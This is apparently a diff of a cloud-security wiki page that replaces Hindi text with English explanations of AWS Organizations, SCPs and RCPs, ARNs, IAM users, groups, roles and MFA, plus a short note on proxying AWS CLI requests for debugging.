- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert एक सर्वरलेस, **वास्तविक समय** डेटा विश्लेषण ढांचा है जो आपको **किसी भी वातावरण से डेटा को ग्रहण, विश्लेषण और अलर्ट** करने में सक्षम बनाता है, **डेटा स्रोतों और अलर्टिंग लॉजिक का उपयोग करते हुए जिसे आप परिभाषित करते हैं**। कंप्यूटर सुरक्षा टीमें घटना पहचान और प्रतिक्रिया के लिए हर दिन टेराबाइट्स लॉग डेटा को स्कैन करने के लिए StreamAlert का उपयोग करती हैं।
|
||||
### Constant Audit
|
||||
|
||||
- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting.
|
||||
- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions.
|
||||
- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to **ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response.
|
||||
|
||||
## DEBUG: Capture AWS cli requests
|
||||
|
||||
## DEBUG: AWS cli अनुरोधों को कैप्चर करें
|
||||
```bash
|
||||
# Set proxy
|
||||
export HTTP_PROXY=http://localhost:8080
|
||||
@@ -357,9 +380,14 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem
|
||||
# Run aws cli normally trusting burp cert
|
||||
aws ...
|
||||
```
|
||||
## संदर्भ
|
||||
|
||||
## References
|
||||
|
||||
- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
|
||||
- [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -8,330 +8,344 @@
|
||||
|
||||
### Accounts
|
||||
|
||||
AWS में, एक **root account** है, जो आपके **organization** के सभी खातों के लिए **parent container** है। हालाँकि, आपको संसाधनों को तैनात करने के लिए उस खाते का उपयोग करने की आवश्यकता नहीं है, आप **अलग-अलग AWS** बुनियादी ढाँचे के बीच अलग करने के लिए **अन्य खाते बना सकते हैं**।
|
||||
In AWS, there is a **root account**, which is the **parent container for all the accounts** for your **organization**. However, you don't need to use that account to deploy resources, you can create **other accounts to separate different AWS** infrastructures between them.
|
||||
|
||||
यह **सुरक्षा** के दृष्टिकोण से बहुत दिलचस्प है, क्योंकि **एक खाता अन्य खाते के संसाधनों तक पहुँच नहीं पाएगा** (जब तक कि पुल विशेष रूप से बनाए नहीं गए हैं), इसलिए इस तरह आप तैनातियों के बीच सीमाएँ बना सकते हैं।
|
||||
This is very interesting from a **security** point of view, as **one account won't be able to access resources from other account** (except bridges are specifically created), so this way you can create boundaries between deployments.
|
||||
|
||||
इसलिए, एक संगठन में **दो प्रकार के खाते** होते हैं (हम AWS खातों की बात कर रहे हैं, उपयोगकर्ता खातों की नहीं): एकल खाता जिसे प्रबंधन खाता के रूप में नामित किया गया है, और एक या अधिक सदस्य खाते।
|
||||
Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts.
|
||||
|
||||
- **प्रबंधन खाता (root account)** वह खाता है जिसका उपयोग आप संगठन बनाने के लिए करते हैं। संगठन के प्रबंधन खाते से, आप निम्नलिखित कर सकते हैं:
|
||||
- The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following:
|
||||
|
||||
- संगठन में खाते बनाना
|
||||
- संगठन में अन्य मौजूदा खातों को आमंत्रित करना
|
||||
- संगठन से खातों को हटाना
|
||||
- आमंत्रणों का प्रबंधन करना
|
||||
- संगठन के भीतर संस्थाओं (roots, OUs, या खातों) पर नीतियाँ लागू करना
|
||||
- संगठन में सभी खातों के बीच सेवा कार्यक्षमता प्रदान करने के लिए समर्थित AWS सेवाओं के साथ एकीकरण सक्षम करना।
|
||||
- आप इस root account/organization को बनाने के लिए उपयोग किए गए ईमेल और पासवर्ड का उपयोग करके root उपयोगकर्ता के रूप में लॉगिन करना संभव है।
|
||||
- Create accounts in the organization
|
||||
- Invite other existing accounts to the organization
|
||||
- Remove accounts from the organization
|
||||
- Manage invitations
|
||||
- Apply policies to entities (roots, OUs, or accounts) within the organization
|
||||
- Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization.
|
||||
- It's possible to login as the root user using the email and password used to create this root account/organization.
|
||||
|
||||
प्रबंधन खाते के पास **payer account** की जिम्मेदारियाँ होती हैं और यह सदस्य खातों द्वारा उत्पन्न सभी शुल्कों का भुगतान करने के लिए जिम्मेदार होता है। आप एक संगठन के प्रबंधन खाते को बदल नहीं सकते।
|
||||
The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account.
|
||||
|
||||
- **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account.
|
||||
- Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it).
|
||||
|
||||
- **सदस्य खाते** संगठन में सभी अन्य खातों का निर्माण करते हैं। एक खाता एक समय में केवल एक संगठन का सदस्य हो सकता है। आप एक खाते पर नियंत्रण लागू करने के लिए एक नीति संलग्न कर सकते हैं केवल उसी एक खाते पर।
|
||||
- सदस्य खातों को **एक मान्य ईमेल पता** का उपयोग करना चाहिए और एक **नाम** हो सकता है, सामान्यतः वे बिलिंग का प्रबंधन नहीं कर पाएंगे (लेकिन उन्हें इसके लिए पहुँच दी जा सकती है)।
|
||||
```
|
||||
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
|
||||
```
|
||||
|
||||
### **Organization Units**
|
||||
|
||||
Accounts can be grouped in **Organization Units (OU)**. इस तरह, आप **policies** बना सकते हैं जो Organization Unit के लिए होंगी जो **सभी बच्चों के खातों पर लागू होंगी**। ध्यान दें कि एक OU के पास अन्य OUs भी हो सकते हैं।
|
||||
Accounts can be grouped in **Organization Units (OU)**. This way, you can create **policies** for the Organization Unit that are going to be **applied to all the children accounts**. Note that an OU can have other OUs as children.
|
||||
|
||||
```bash
|
||||
# You can get the root id from aws organizations list-roots
|
||||
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
|
||||
```
|
||||
|
||||
### Service Control Policy (SCP)
|
||||
|
||||
A **service control policy (SCP)** एक नीति है जो उन सेवाओं और क्रियाओं को निर्दिष्ट करती है जिन्हें उपयोगकर्ता और भूमिकाएँ उन खातों में उपयोग कर सकते हैं जिन पर SCP प्रभाव डालता है। SCPs **IAM** अनुमतियों नीतियों के समान हैं सिवाय इसके कि वे **कोई अनुमतियाँ नहीं देतीं**। इसके बजाय, SCPs एक संगठन, संगठनात्मक इकाई (OU), या खाते के लिए **अधिकतम अनुमतियाँ** निर्दिष्ट करती हैं। जब आप अपने संगठन की जड़ या एक OU पर SCP संलग्न करते हैं, तो **SCP सदस्य खातों में संस्थाओं के लिए अनुमतियों को सीमित करता है**।
|
||||
A **service control policy (SCP)** is a policy that specifies the services and actions that users and roles can use in the accounts that the SCP affects. SCPs are **similar to IAM** permissions policies except that they **don't grant any permissions**. Instead, SCPs specify the **maximum permissions** for an organization, organizational unit (OU), or account. When you attach a SCP to your organization root or an OU, the **SCP limits permissions for entities in member accounts**.
|
||||
|
||||
यह **एकमात्र तरीका है कि** **यहाँ तक कि रूट उपयोगकर्ता को भी कुछ करने से रोका जा सकता है**। उदाहरण के लिए, इसका उपयोग उपयोगकर्ताओं को CloudTrail को निष्क्रिय करने या बैकअप को हटाने से रोकने के लिए किया जा सकता है।\
|
||||
इससे बचने का एकमात्र तरीका यह है कि **मास्टर खाता** भी समझौता किया जाए जो SCPs को कॉन्फ़िगर करता है (मास्टर खाता अवरुद्ध नहीं किया जा सकता)।
|
||||
This is the ONLY way that **even the root user can be stopped** from doing something. For example, it could be used to stop users from disabling CloudTrail or deleting backups.\
|
||||
The only way to bypass this is to compromise also the **master account** that configures the SCPs (master account cannot be blocked).
|
||||
|
||||
> [!WARNING]
|
||||
> ध्यान दें कि **SCPs केवल खाते में प्रिंसिपल को प्रतिबंधित करती हैं**, इसलिए अन्य खाते प्रभावित नहीं होते। इसका मतलब है कि SCP द्वारा `s3:GetObject` को अस्वीकार करने से लोगों को आपके खाते में **एक सार्वजनिक S3 बकेट** तक पहुँचने से नहीं रोका जाएगा।
|
||||
> Note that **SCPs only restrict the principals in the account**, so other accounts are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account.
|
||||
|
||||
SCP उदाहरण:
|
||||
SCP examples:
|
||||
|
||||
- रूट खाते को पूरी तरह से अस्वीकार करें
|
||||
- केवल विशिष्ट क्षेत्रों की अनुमति दें
|
||||
- केवल श्वेत-सूचीबद्ध सेवाओं की अनुमति दें
|
||||
- GuardDuty, CloudTrail, और S3 सार्वजनिक ब्लॉक एक्सेस को निष्क्रिय करने से रोकें
|
||||
- Deny the root account entirely
|
||||
- Only allow specific regions
|
||||
- Only allow white-listed services
|
||||
- Deny GuardDuty, CloudTrail, and S3 Public Block Access from
|
||||
|
||||
- सुरक्षा/घटना प्रतिक्रिया भूमिकाओं को हटाने या
|
||||
being disabled
|
||||
|
||||
संशोधित करने से रोकें।
|
||||
- Deny security/incident response roles from being deleted or
|
||||
|
||||
- बैकअप को हटाने से रोकें।
|
||||
- IAM उपयोगकर्ताओं और एक्सेस कुंजियों को बनाने से रोकें
|
||||
modified.
|
||||
|
||||
**JSON उदाहरण** [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) में खोजें
|
||||
- Deny backups from being deleted.
|
||||
- Deny creating IAM users and access keys
|
||||
|
||||
Find **JSON examples** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)
|
||||
|
||||
### Resource Control Policy (RCP)
|
||||
|
||||
A **resource control policy (RCP)** एक नीति है जो आपके AWS संगठन के भीतर **संसाधनों के लिए अधिकतम अनुमतियों** को परिभाषित करती है। RCPs वाक्यविन्यास में IAM नीतियों के समान हैं लेकिन **अनुमतियाँ नहीं देतीं**—वे केवल उन अनुमतियों को सीमित करती हैं जो अन्य नीतियों द्वारा संसाधनों पर लागू की जा सकती हैं। जब आप अपने संगठन की जड़, एक संगठनात्मक इकाई (OU), या एक खाते पर RCP संलग्न करते हैं, तो RCP प्रभावित दायरे में सभी संसाधनों पर संसाधन अनुमतियों को सीमित करता है।
|
||||
A **resource control policy (RCP)** is a policy that defines the **maximum permissions for resources within your AWS organization**. RCPs are similar to IAM policies in syntax but **don’t grant permissions**—they only cap the permissions that can be applied to resources by other policies. When you attach an RCP to your organization root, an organizational unit (OU), or an account, the RCP limits resource permissions across all resources in the affected scope.
|
||||
|
||||
यह **एकमात्र तरीका है यह सुनिश्चित करने के लिए कि** **संसाधन पूर्वनिर्धारित पहुँच स्तरों से अधिक नहीं हो सकते**—यहाँ तक कि यदि पहचान-आधारित या संसाधन-आधारित नीति बहुत अधिक अनुमति देती है। इन सीमाओं को बायपास करने का एकमात्र तरीका यह है कि आपके संगठन के प्रबंधन खाते द्वारा कॉन्फ़िगर की गई RCP को भी संशोधित किया जाए।
|
||||
This is the ONLY way to ensure that **resources cannot exceed predefined access levels**—even if an identity-based or resource-based policy is too permissive. The only way to bypass these limits is to also modify the RCP configured by your organization’s management account.
|
||||
|
||||
> [!WARNING]
|
||||
> RCPs केवल उन अनुमतियों को प्रतिबंधित करती हैं जो संसाधनों के पास हो सकती हैं। वे सीधे यह नियंत्रित नहीं करतीं कि प्रिंसिपल क्या कर सकते हैं। उदाहरण के लिए, यदि एक RCP एक S3 बकेट के लिए बाहरी पहुँच को अस्वीकार करता है, तो यह सुनिश्चित करता है कि बकेट की अनुमतियाँ कभी भी सेट सीमा से परे क्रियाओं की अनुमति नहीं देतीं—यहाँ तक कि यदि एक संसाधन-आधारित नीति गलत कॉन्फ़िगर की गई है।
|
||||
> RCPs only restrict the permissions that resources can have. They don’t directly control what principals can do. For example, if an RCP denies external access to an S3 bucket, it ensures that the bucket’s permissions never allow actions beyond the set limit—even if a resource-based policy is misconfigured.
|
||||
|
||||
RCP उदाहरण:
|
||||
RCP examples:
|
||||
|
||||
- S3 बकेट को इस तरह से प्रतिबंधित करें कि वे केवल आपके संगठन के भीतर के प्रिंसिपल द्वारा पहुँचा जा सके
|
||||
- KMS कुंजी के उपयोग को केवल विश्वसनीय संगठनात्मक खातों से संचालन की अनुमति देने के लिए सीमित करें
|
||||
- SQS कतारों पर अनुमतियों को सीमित करें ताकि अनधिकृत संशोधनों को रोका जा सके
|
||||
- संवेदनशील डेटा की सुरक्षा के लिए Secrets Manager रहस्यों पर पहुँच सीमाएँ लागू करें
|
||||
- Restrict S3 buckets so they can only be accessed by principals within your organization
|
||||
- Limit KMS key usage to only allow operations from trusted organizational accounts
|
||||
- Cap permissions on SQS queues to prevent unauthorized modifications
|
||||
- Enforce access boundaries on Secrets Manager secrets to protect sensitive data
|
||||
|
||||
उदाहरण [AWS Organizations Resource Control Policies documentation](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html) में खोजें
|
||||
Find examples in [AWS Organizations Resource Control Policies documentation](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html)
|
||||
|
||||
### ARN
|
||||
|
||||
**Amazon Resource Name** वह **विशिष्ट नाम** है जो AWS के भीतर हर संसाधन के पास होता है, यह इस तरह से बना होता है:
|
||||
**Amazon Resource Name** is the **unique name** every resource inside AWS has, its composed like this:
|
||||
|
||||
```
|
||||
arn:partition:service:region:account-id:resource-type/resource-id
|
||||
arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
|
||||
```
|
||||
नोट करें कि AWS में 4 विभाजन हैं लेकिन उन्हें कॉल करने के केवल 3 तरीके हैं:
|
||||
|
||||
Note that there are 4 partitions in AWS but only 3 ways to call them:
|
||||
|
||||
- AWS Standard: `aws`
|
||||
- AWS China: `aws-cn`
|
||||
- AWS US public Internet (GovCloud): `aws-us-gov`
|
||||
- AWS Secret (US Classified): `aws`
|
||||
|
||||
## IAM - पहचान और पहुँच प्रबंधन
|
||||
## IAM - Identity and Access Management
|
||||
|
||||
IAM वह सेवा है जो आपको अपने AWS खाते के भीतर **प्रमाणीकरण**, **अधिकार** और **पहुँच नियंत्रण** प्रबंधित करने की अनुमति देती है।
|
||||
IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account.
|
||||
|
||||
- **प्रमाणीकरण** - एक पहचान को परिभाषित करने और उस पहचान के सत्यापन की प्रक्रिया। इस प्रक्रिया को पहचान और सत्यापन में विभाजित किया जा सकता है।
|
||||
- **अधिकार** - यह निर्धारित करता है कि एक पहचान एक प्रणाली के भीतर क्या एक्सेस कर सकती है जब इसे इसके लिए प्रमाणित किया गया हो।
|
||||
- **पहुँच नियंत्रण** - सुरक्षित संसाधन तक पहुँच कैसे दी जाती है, इसकी विधि और प्रक्रिया।
|
||||
- **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification.
|
||||
- **Authorization** - Determines what an identity can access within a system once it's been authenticated to it.
|
||||
- **Access Control** - The method and process of how access is granted to a secure resource
|
||||
|
||||
IAM को इसकी क्षमता द्वारा परिभाषित किया जा सकता है कि यह आपके AWS खाते के भीतर पहचान के प्रमाणीकरण, अधिकार और पहुँच नियंत्रण तंत्रों का प्रबंधन, नियंत्रण और शासन कर सकता है।
|
||||
IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account.
|
||||
|
||||
### [AWS खाता रूट उपयोगकर्ता](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
|
||||
### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
|
||||
|
||||
जब आप पहली बार एक Amazon Web Services (AWS) खाता बनाते हैं, तो आप एक सिंगल साइन-इन पहचान के साथ शुरू करते हैं जिसके पास खाते में सभी AWS सेवाओं और संसाधनों तक **पूर्ण पहुँच** होती है। यह AWS खाता _**रूट उपयोगकर्ता**_ है और इसे **उस ईमेल पते और पासवर्ड के साथ साइन इन करके एक्सेस किया जाता है जिसका उपयोग आपने खाता बनाने के लिए किया था**।
|
||||
When you first create an Amazon Web Services (AWS) account, you begin with a single sign-in identity that has **complete access to all** AWS services and resources in the account. This is the AWS account _**root user**_ and is accessed by signing in with the **email address and password that you used to create the account**.
|
||||
|
||||
नोट करें कि एक नया **व्यवस्थापक उपयोगकर्ता** के पास **रूट उपयोगकर्ता की तुलना में कम अनुमतियाँ होंगी**।
|
||||
Note that a new **admin user** will have **less permissions that the root user**.
|
||||
|
||||
सुरक्षा के दृष्टिकोण से, अन्य उपयोगकर्ताओं को बनाना और इस एक का उपयोग करने से बचना अनुशंसित है।
|
||||
From a security point of view, it's recommended to create other users and avoid using this one.
|
||||
|
||||
### [IAM उपयोगकर्ता](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
|
||||
### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
|
||||
|
||||
एक IAM _उपयोगकर्ता_ एक इकाई है जिसे आप AWS में **उस व्यक्ति या एप्लिकेशन का प्रतिनिधित्व करने के लिए बनाते हैं** जो इसका उपयोग **AWS के साथ बातचीत करने के लिए** करता है। AWS में एक उपयोगकर्ता का नाम और क्रेडेंशियल्स (पासवर्ड और अधिकतम दो एक्सेस कुंजी) होता है।
|
||||
An IAM _user_ is an entity that you create in AWS to **represent the person or application** that uses it to **interact with AWS**. A user in AWS consists of a name and credentials (password and up to two access keys).
|
||||
|
||||
जब आप एक IAM उपयोगकर्ता बनाते हैं, तो आप इसे **अनुमतियाँ** प्रदान करते हैं, जिससे यह एक **उपयोगकर्ता समूह का सदस्य बनता है** जिसमें उपयुक्त अनुमति नीतियाँ संलग्न होती हैं (अनुशंसित), या **प्रत्यक्ष रूप से नीतियाँ** उपयोगकर्ता से संलग्न करते हैं।
|
||||
When you create an IAM user, you grant it **permissions** by making it a **member of a user group** that has appropriate permission policies attached (recommended), or by **directly attaching policies** to the user.
|
||||
|
||||
उपयोगकर्ताओं के पास **कंसोल के माध्यम से लॉगिन करने के लिए MFA सक्षम हो सकता है**। MFA सक्षम उपयोगकर्ताओं के API टोकन MFA द्वारा सुरक्षित नहीं होते हैं। यदि आप **MFA का उपयोग करके उपयोगकर्ताओं की API कुंजियों की पहुँच को प्रतिबंधित करना चाहते हैं** तो आपको नीति में यह इंगित करना होगा कि कुछ क्रियाएँ करने के लिए MFA की आवश्यकता है (उदाहरण [**यहाँ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html))।
|
||||
Users can have **MFA enabled to login** through the console. API tokens of MFA enabled users aren't protected by MFA. If you want to **restrict the access of a users API keys using MFA** you need to indicate in the policy that in order to perform certain actions MFA needs to be present (example [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)).
|
||||
|
||||
#### CLI
|
||||
|
||||
- **एक्सेस कुंजी आईडी**: 20 यादृच्छिक अपरकेस अल्फ़ान्यूमेरिक वर्ण जैसे AKHDNAPO86BSHKDIRYT
|
||||
- **गुप्त एक्सेस कुंजी आईडी**: 40 यादृच्छिक अपर और लोअरकेस वर्ण: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (खोई हुई गुप्त एक्सेस कुंजी आईडी को पुनः प्राप्त करना संभव नहीं है)।
|
||||
- **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT
|
||||
- **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs).
|
||||
|
||||
जब भी आपको **एक्सेस कुंजी बदलने की आवश्यकता हो** तो आपको इस प्रक्रिया का पालन करना चाहिए:\
|
||||
_एक नई एक्सेस कुंजी बनाएं -> सिस्टम/एप्लिकेशन पर नई कुंजी लागू करें -> मूल को निष्क्रिय के रूप में चिह्नित करें -> परीक्षण करें और सत्यापित करें कि नई एक्सेस कुंजी काम कर रही है -> पुरानी एक्सेस कुंजी हटाएं_
|
||||
Whenever you need to **change the Access Key** this is the process you should follow:\
|
||||
_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_
|
||||
|
||||
### MFA - मल्टी फैक्टर प्रमाणीकरण
|
||||
### MFA - Multi Factor Authentication
|
||||
|
||||
यह आपके मौजूदा तरीकों के अलावा **प्रमाणीकरण के लिए एक अतिरिक्त कारक बनाने** के लिए उपयोग किया जाता है, जैसे कि पासवर्ड, इस प्रकार, प्रमाणीकरण का एक मल्टी-फैक्टर स्तर बनाना।\
|
||||
आप एक **नि:शुल्क वर्चुअल एप्लिकेशन या एक भौतिक डिवाइस** का उपयोग कर सकते हैं। आप AWS में MFA सक्रिय करने के लिए मुफ्त में गूगल प्रमाणीकरण जैसे ऐप्स का उपयोग कर सकते हैं।
|
||||
It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.\
|
||||
You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS.
|
||||
|
||||
MFA शर्तों वाली नीतियाँ निम्नलिखित पर संलग्न की जा सकती हैं:
|
||||
Policies with MFA conditions can be attached to the following:
|
||||
|
||||
- एक IAM उपयोगकर्ता या समूह
|
||||
- एक संसाधन जैसे Amazon S3 बकेट, Amazon SQS कतार, या Amazon SNS विषय
|
||||
- एक IAM भूमिका की ट्रस्ट नीति जिसे एक उपयोगकर्ता द्वारा ग्रहण किया जा सकता है
|
||||
- An IAM user or group
|
||||
- A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic
|
||||
- The trust policy of an IAM role that can be assumed by a user
|
||||
|
||||
If you want to **access via CLI** a resource that **checks for MFA** you need to call **`GetSessionToken`**. That will give you a token with info about MFA.\
|
||||
Note that **`AssumeRole` credentials don't contain this information**.
|
||||
|
||||
यदि आप **CLI के माध्यम से** एक संसाधन तक पहुँच प्राप्त करना चाहते हैं जो **MFA की जाँच करता है** तो आपको **`GetSessionToken`** कॉल करना होगा। यह आपको MFA के बारे में जानकारी के साथ एक टोकन देगा।\
|
||||
नोट करें कि **`AssumeRole` क्रेडेंशियल्स में यह जानकारी शामिल नहीं होती है**।
|
||||
```bash
|
||||
aws sts get-session-token --serial-number <arn_device> --token-code <code>
|
||||
```
|
||||
As [**यहां बताया गया है**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), कई अलग-अलग मामले हैं जहां **MFA का उपयोग नहीं किया जा सकता**।
|
||||
|
||||
### [IAM उपयोगकर्ता समूह](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
|
||||
As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), there are a lot of different cases where **MFA cannot be used**.
|
||||
|
||||
एक IAM [उपयोगकर्ता समूह](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) एक ऐसा तरीका है जिससे **एक समय में कई उपयोगकर्ताओं के लिए नीतियों को संलग्न किया जा सकता है**, जिससे उन उपयोगकर्ताओं के लिए अनुमतियों का प्रबंधन करना आसान हो सकता है। **भूमिकाएँ और समूह समूह का हिस्सा नहीं हो सकते**।
|
||||
### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) <a href="#id_iam-groups" id="id_iam-groups"></a>
|
||||
|
||||
आप एक **पहचान-आधारित नीति को एक उपयोगकर्ता समूह में संलग्न कर सकते हैं** ताकि उपयोगकर्ता समूह में सभी **उपयोगकर्ताओं को नीति की अनुमतियाँ प्राप्त हों**। आप **एक उपयोगकर्ता समूह** को **`Principal`** के रूप में **नीति** (जैसे संसाधन-आधारित नीति) में पहचान नहीं सकते क्योंकि समूह अनुमतियों से संबंधित होते हैं, प्रमाणीकरण से नहीं, और प्रिंसिपल प्रमाणीकरण किए गए IAM संस्थाएँ होते हैं।
|
||||
An IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is a way to **attach policies to multiple users** at one time, which can make it easier to manage the permissions for those users. **Roles and groups cannot be part of a group**.
|
||||
|
||||
उपयोगकर्ता समूह की कुछ महत्वपूर्ण विशेषताएँ हैं:
|
||||
You can attach an **identity-based policy to a user group** so that all of the **users** in the user group **receive the policy's permissions**. You **cannot** identify a **user group** as a **`Principal`** in a **policy** (such as a resource-based policy) because groups relate to permissions, not authentication, and principals are authenticated IAM entities.
|
||||
|
||||
- एक उपयोगकर्ता **समूह** में **कई उपयोगकर्ता** हो सकते हैं, और एक **उपयोगकर्ता** **कई समूहों** का **भाग हो सकता है**।
|
||||
- **उपयोगकर्ता समूहों को नेस्ट नहीं किया जा सकता**; वे केवल उपयोगकर्ताओं को शामिल कर सकते हैं, अन्य उपयोगकर्ता समूहों को नहीं।
|
||||
- **AWS खाते में सभी उपयोगकर्ताओं को स्वचालित रूप से शामिल करने वाला कोई डिफ़ॉल्ट उपयोगकर्ता समूह नहीं है**। यदि आप ऐसा उपयोगकर्ता समूह रखना चाहते हैं, तो आपको इसे बनाना होगा और प्रत्येक नए उपयोगकर्ता को इसमें असाइन करना होगा।
|
||||
- AWS खाते में IAM संसाधनों की संख्या और आकार, जैसे समूहों की संख्या, और एक उपयोगकर्ता जिस समूह का सदस्य हो सकता है, सीमित हैं। अधिक जानकारी के लिए, [IAM और AWS STS कोटा](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html) देखें।
|
||||
Here are some important characteristics of user groups:
|
||||
|
||||
### [IAM भूमिकाएँ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
|
||||
- A user **group** can **contain many users**, and a **user** can **belong to multiple groups**.
|
||||
- **User groups can't be nested**; they can contain only users, not other user groups.
|
||||
- There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it.
|
||||
- The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html).
|
||||
|
||||
एक IAM **भूमिका** एक **उपयोगकर्ता** के समान है, क्योंकि यह एक **पहचान है जिसमें अनुमति नीतियाँ होती हैं जो यह निर्धारित करती हैं कि** यह AWS में क्या कर सकता है और क्या नहीं। हालाँकि, एक भूमिका के साथ कोई **क्रेडेंशियल्स** (पासवर्ड या एक्सेस कुंजी) नहीं होते। एक व्यक्ति के साथ विशेष रूप से जुड़े होने के बजाय, एक भूमिका को **किसी भी व्यक्ति द्वारा ग्रहण किया जा सकता है जिसे इसकी आवश्यकता है (और जिसके पास पर्याप्त अनुमतियाँ हैं)**। एक **IAM उपयोगकर्ता एक भूमिका ग्रहण कर सकता है ताकि अस्थायी रूप से** किसी विशेष कार्य के लिए विभिन्न अनुमतियाँ ले सके। एक भूमिका को एक [**संघीय उपयोगकर्ता**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) को असाइन किया जा सकता है जो IAM के बजाय एक बाहरी पहचान प्रदाता का उपयोग करके साइन इन करता है।
|
||||
### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
|
||||
|
||||
एक IAM भूमिका में **दो प्रकार की नीतियाँ** होती हैं: एक **विश्वास नीति**, जो खाली नहीं हो सकती, यह परिभाषित करती है **कौन भूमिका ग्रहण कर सकता है**, और एक **अनुमति नीति**, जो खाली नहीं हो सकती, यह परिभाषित करती है **यह क्या एक्सेस कर सकता है**।
|
||||
An IAM **role** is very **similar** to a **user**, in that it is an **identity with permission policies that determine what** it can and cannot do in AWS. However, a role **does not have any credentials** (password or access keys) associated with it. Instead of being uniquely associated with one person, a role is intended to be **assumable by anyone who needs it (and have enough perms)**. An **IAM user can assume a role to temporarily** take on different permissions for a specific task. A role can be **assigned to a** [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) who signs in by using an external identity provider instead of IAM.
|
||||
|
||||
#### AWS सुरक्षा टोकन सेवा (STS)
|
||||
An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining **who can assume** the role, and a **permissions policy**, which cannot be empty, defining **what it can access**.
|
||||
|
||||
AWS सुरक्षा टोकन सेवा (STS) एक वेब सेवा है जो **अस्थायी, सीमित-विशेषाधिकार क्रेडेंशियल्स** के **जारी करने** की सुविधा प्रदान करती है। यह विशेष रूप से निम्नलिखित के लिए तैयार की गई है:
|
||||
